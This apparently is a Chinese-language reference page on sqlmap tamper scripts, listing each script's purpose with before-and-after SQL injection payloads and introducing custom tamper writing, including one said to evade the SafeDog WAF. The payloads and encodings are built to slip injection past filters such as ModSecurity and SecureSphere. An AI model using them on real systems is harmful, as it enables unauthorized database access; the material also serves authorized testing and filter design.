几个常用的tamper
base64encode.py
适用数据库: All
作用: 进行base64编码
使用前: ` tamper("1' AND SLEEP(5)#")`
使用后: `'MScgQU5EIFNMRUVQKDUpIw=='`
space2plus.py
适用数据库: All
作用: 把空格替换为 `+`
使用前: `tamper('SELECT id FROM users')`
使用后: `'SELECT+id+FROM+users'`
space2comment.py
测试通过数据库: Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用: 把空格替换为` /**/`
使用前: `tamper('SELECT id FROM users')`
使用后: `'SELECT/**/id/**/FROM/**/users'`
space2randomblank.py
作用: 把空格换为其他有效字符
使用前: `tamper('SELECT id FROM users')`
使用后: `'SELECT%0Did%0CFROM%0Ausers'`
space2mysqlblank.py
适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号(’%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
使用前:`tamper('SELECT id FROM users')`
使用后:`'SELECT%A0id%0CFROM%0Dusers'`
space2dash.py
适用数据库:All
作用:将空格替换为--,并添加一个随机字符串和换行符
使用前:`tamper('1 AND 9227=9227')`
使用后:`1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227`
randomcomments.py
适用数据库: All
作用: 使用注释符分割 SQL关键字
使用前: `tamper('INSERT')`
使用后: `I/**/NS/**/ERT`
randomcase.py
作用: 将payload随机大小写
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
使用前: `tamper('SELECT id FROM `user`')`
使用后: `'SeLeCt id FrOm `user`'`
charencode.py
测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用: 对payload进行url编码
使用前: `tamper('SELECT FIELD FROM%20TABLE')`
使用后: `'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'`
chardoubleencode.py
适用数据库: All
作用: 对payload进行二次url编码
使用前: `tamper('SELECT FIELD FROM%20TABLE')`
使用后: `'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'`
unmagicquotes.py
适用数据库:All
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用前:`tamper("1' AND 1=1")`
使用后:`1%bf%27 AND 1=1--`
nonrecursivereplacement.py
适用数据库:All
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用前:`tamper('1 UNION SELECT 2--')`
使用后:`1 UNIOUNIONN SELESELECTCT 2--`
securesphere.py
适用数据库:All
作用:追加特定的字符串
使用脚本前:`tamper('1 AND 1=1')`
使用脚本后:`1 AND 1=1 and '0having'='0having'`
modsecurityversioned.py
适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用前:`tamper('1 AND 2>1--')`
使用后:`1 /*!30874AND 2>1*/--`
equaltolike.py
作用: 把等号替换为LIKE
使用前: `tamper('SELECT * FROM users WHERE id=1')`
使用后:`'SELECT * FROM users WHERE id LIKE 1'`
sqlmap tamper编写
先看一个最简单的脚本
1 | #!/usr/bin/env python |
共由三部分组成,priority变量定义和dependencies、tamper函数定义。
priority 定义脚本的优先级,可用于多个tamper脚本的情况下
dependencies函数声明脚本的适用范围和不适用范围,可以为空值
tamper函数为主要函数,接受参数为payload
和**kwargs,这个脚本的返回值为替换后的payload,在这里引号被替换成了
\\'
下面这个是利用内联注释和注释混淆绕安全狗的tamper,具体的可以根据情况稍作修改,进行替换
1 | from lib.core.enums import PRIORITY |